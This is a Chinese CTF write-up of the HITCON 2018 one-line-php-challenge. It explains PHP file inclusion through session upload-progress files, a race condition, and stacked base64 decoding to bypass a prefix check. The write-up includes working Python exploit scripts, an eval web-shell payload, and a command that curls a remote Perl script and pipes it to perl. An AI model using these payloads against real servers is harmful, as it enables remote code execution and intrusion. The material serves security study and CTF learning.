hitcon 2018受虐筆記一:one-line-php-challenge 學習
都是老知識,但是我依然不會做。。。。藍瘦
0x1 歷史回顧
任意檔案包含漏洞,如果 session.upload_progress.enabled=On
開啟,就可以包含session來getshell。這種思路在CTF中已經被利用了N多次了。在這裡再回顧一下,加深一下印象。
參考Session 上傳進度的文件 ofollow,noindex" target="_blank">http://php.net/manual/zh/session.upload-progress.php
手冊上有一個例子,如下:
一個上傳進度陣列的結構的例子
<form action="upload.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" /> <input type="file" name="file1" /> <input type="file" name="file2" /> <input type="submit" /> </form>
在session中存放的資料看上去是這樣子的:
<?php $_SESSION["upload_progress_123"] = array( "start_time" => 1234567890,// The request time "content_length" => 57343257, // POST content length "bytes_processed" => 453489,// Amount of bytes received and processed "done" => false,// true when the POST handler has finished, successfully or not "files" => array( 0 => array( "field_name" => "file1",// Name of the <input/> field // The following 3 elements equals those in $_FILES "name" => "foo.avi", "tmp_name" => "/tmp/phpxxxxxx", "error" => 0, "done" => true,// True when the POST handler has finished handling this file "start_time" => 1234567890,// When this file has started to be processed "bytes_processed" => 57343250, // Amount of bytes received and processed for this file ), // An other file, not finished uploading, in the same request 1 => array( "field_name" => "file2", "name" => "bar.avi", "tmp_name" => NULL, "error" => 0, "done" => false, "start_time" => 1234567899, "bytes_processed" => 54554, ), ) );
session中儲存上傳進度的鍵值是:
ini_get('session.upload_progress.prefix').$_POST[ini_get['session.upload_progress.name']];
其中 $_POST[ini_get['session.upload_progress.name']];
是一個我們可控的值,如果把它控制成一個shell的內容,然後包含session就可以getshell了。
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="<?php eval($_GET[1]); ?>" />
如果 session.upload_progress.cleanup=On
開啟:
Cleanup the progress information as soon as all POST data has been read (i.e. upload completed). Defaults to 1, enabled.
如果POST一被讀取,session的內容就會被清空,所以為了在清空之前能包含到有我們payload的session,還需要用條件競爭。
記得當時在@wupco在SCTF2018的題目的非預期解, https://www.cnblogs.com/iamstudy/articles/sctf2018_simple_php_web_writeup.html
我當時以為 session.upload_progress.enabled=On
僅僅是個意外,是@l3m0n題目環境的問題,當時今天我才發現,php預設就是開啟的…..參考手冊:
http://php.net/manual/zh/session.configuration.php#ini.session.upload-progress.name
預設就開啟的這個性質相當棒啊。。。。
最後給一個利用的exp吧:
#!coding:utf-8 import requests import time import threading host = 'http://your-ip:8088/' PHPSESSID = 'vrhtvjd4j1sd88onr92fm9t2gt' def creatSession(): while True: files = { "upload" : ("tmp.jpg", open("/etc/passwd", "rb")) } data = {"PHP_SESSION_UPLOAD_PROGRESS" : "<?php echo md5('1');?>" } headers = {'Cookie':'PHPSESSID=' + PHPSESSID} r = requests.post(host,files = files,headers = headers,data=data) fileName = "/var/lib/php/sessions/sess_"+PHPSESSID if __name__ == '__main__': url = "{}/index.php?file={}".format(host,fileName) headers = {'Cookie':'PHPSESSID=' + PHPSESSID} t = threading.Thread(target=creatSession,args=()) t.setDaemon(True) t.start() while True: res = requests.get(url,headers=headers) if "c4ca4238a0b923820dcc509a6f75849b" in res.content: print("[*] Get shell success.") break else: print("[-] retry.")
0x2 hitcon2018 one-line-php-challenge
題目程式碼如下:
($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);
題目描述:P.S. This is a default installation PHP7.2 + Apache on Ubuntu 18.04
php的session.upload_progress.enabled=On引起的一個小問題
由於這個題目連session都沒開,所以我根本就沒有考慮去包含session。
但是最後看了wp我才發現,只要發的POST請求中只要包含 ini_get("session.upload_progress.name")
這個鍵值,並帶上session_id,就會直接建立一個session檔案。
測試如下,先刪除session檔案:
root@e5dfc152ed97:/var/lib/php/sessions# pwd /var/lib/php/sessions root@e5dfc152ed97:/var/lib/php/sessions# rm -rf *
然後發起請求:
POST /?file=test HTTP/1.1 Host: 127.0.0.1:8088 Connection: close Accept: */* User-Agent: python-requests/2.18.4 Cookie: PHPSESSID=u0hgfruaudns3jigq5trocbr0m Content-Length: 58 Content-Type: application/x-www-form-urlencoded PHP_SESSION_UPLOAD_PROGRESS=test&upload=test&submit=submit
在伺服器端成功的建立了session檔案:
root@e5dfc152ed97:/var/lib/php/sessions# ls sess_u0hgfruaudns3jigq5trocbr0m
emmmmm , php是最好的語言。。。。
利用php base64_decode 的容錯,去掉upload_progress_
session檔案的內容如下:
root@e5dfc152ed97:/var/lib/php/sessions# for i in `seq 1 300`; do cat sess_u0hgfruaudns3jigq5trocbr0m ; done upload_progress_@<?php eval($_GET[1]);|a:5:{s:10:"start_time";i:1540269279;s:14:"content_length";i:315;s:15:"bytes_processed";i: 315;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:6:"upload";s:4:"name";s:4:"test";s:8:"tmp_name";N;s:5:"error";i :0;s:4:"done";b:0;s:10:"start_time";i:1540269279;s:15:"bytes_processed";i:315;}}}upload_progress_@<?php eval($_GET[1]);|a:5:{s:1 0:"start_time";i:1540269280;s:14:"content_length";i:313;s:15:"bytes_processed";i:313;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:6:"upload";s:4:"name";s:4:"test";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1540269280;s:15:"bytes_processed";i:313;}}}
需要繞過下面這個限制,多了額外的字元 upload_progress_
@substr(file($_)[0],0,6) === '@<?php'
這裡可以利用多次base64解碼來去除 upload_progress_
。
因為base64解碼函式可以接受的字元範圍是 [A-Za-z0-9+/=]
,但是如果php的base64_decode遇到了不在此範圍內的字元,php就會直接跳過這些字元,只把在此範圍的字元連起來進行解碼。@phith0n師父早就說過這個問題,而我在做題的時候還是妥妥的忘掉了。。
我們來做個試驗:
$i = 0 ; $data = "upload_progress_ZZ"; while(true){ $i += 1; $data = base64_decode($data); var_dump($data); sleep(1); if($data == ''){ echo "一共解碼了:".$i,"次\n"; break; } }
執行結果如下:
string(12) "��hi�k� �Y" string(3) "�)" string(0) "" 一共解碼了:3次
upload_progress_ZZ
一共是18個字元,但是由於base64_decode跳過了 _
,所以是剩下16個字元,解碼一次之後是12個字元,又因為12個字元中只有4個在範圍內,所以再次解碼之後變為了3個字元,這三個字元都不在範圍內,所以解碼之後為空字串。
這裡需要注意的是我們在 upload_progress_
字首後面擴充套件了兩位是 ZZ
,這個 ZZ
的選擇也是非常有講究的,必須保證每一次的的base64解碼之後的可接受字元個數都必須是4的整數倍,否則就會吞掉後面的payload。
舉個例子 upload_progress_AA
就是不滿足條件的,因為一次base64解碼之後變為了
string(12) "��hi�k� �"
可接受字元變為了3個,不是4的倍數,那麼在下一次進行base64解碼的時候,一定會吞掉後面的一位,導致payload部分被破壞掉。
所以最後控制SESSION的key值為:
"upload_progress_ZZ".base64_encode(base64_encode(base64_encode('@<?php eval($_GET[1]);')));
然後進行三次的base_64decode,就會去掉 upload_progress_
,只剩下 @<?php eval($_GET[1]);
最後附上orange的exp:
import sys import string import requests from base64 import b64encode from random import sample, randint from multiprocessing.dummy import Pool as ThreadPool HOST = 'http://54.250.246.238/' sess_name = 'iamorange' headers = { 'Connection': 'close', 'Cookie': 'PHPSESSID=' + sess_name } payload = '@<?php `curl orange.tw/w/bc.pl|perl -`;?>' while 1: junk = ''.join(sample(string.ascii_letters, randint(8, 16))) x = b64encode(payload + junk) xx = b64encode(b64encode(payload + junk)) xxx = b64encode(b64encode(b64encode(payload + junk))) if '=' not in x and '=' not in xx and '=' not in xxx: print xxx break def runner1(i): data = { 'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + xxx + 'Z' } while 1: fp = open('/etc/passwd', 'rb') r = requests.post(HOST, files={'f': fp}, data=data, headers=headers) fp.close() def runner2(i): filename = '/var/lib/php/sessions/sess_' + sess_name filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename # print filename while 1: url = '%s?orange=%s' % (HOST, filename) r = requests.get(url, headers=headers) c = r.content if c and 'orange' not in c: print if sys.argv[1] == '1': runner = runner1 else: runner = runner2 pool = ThreadPool(32) result = pool.map_async( runner, range(32) ).get(0xffff)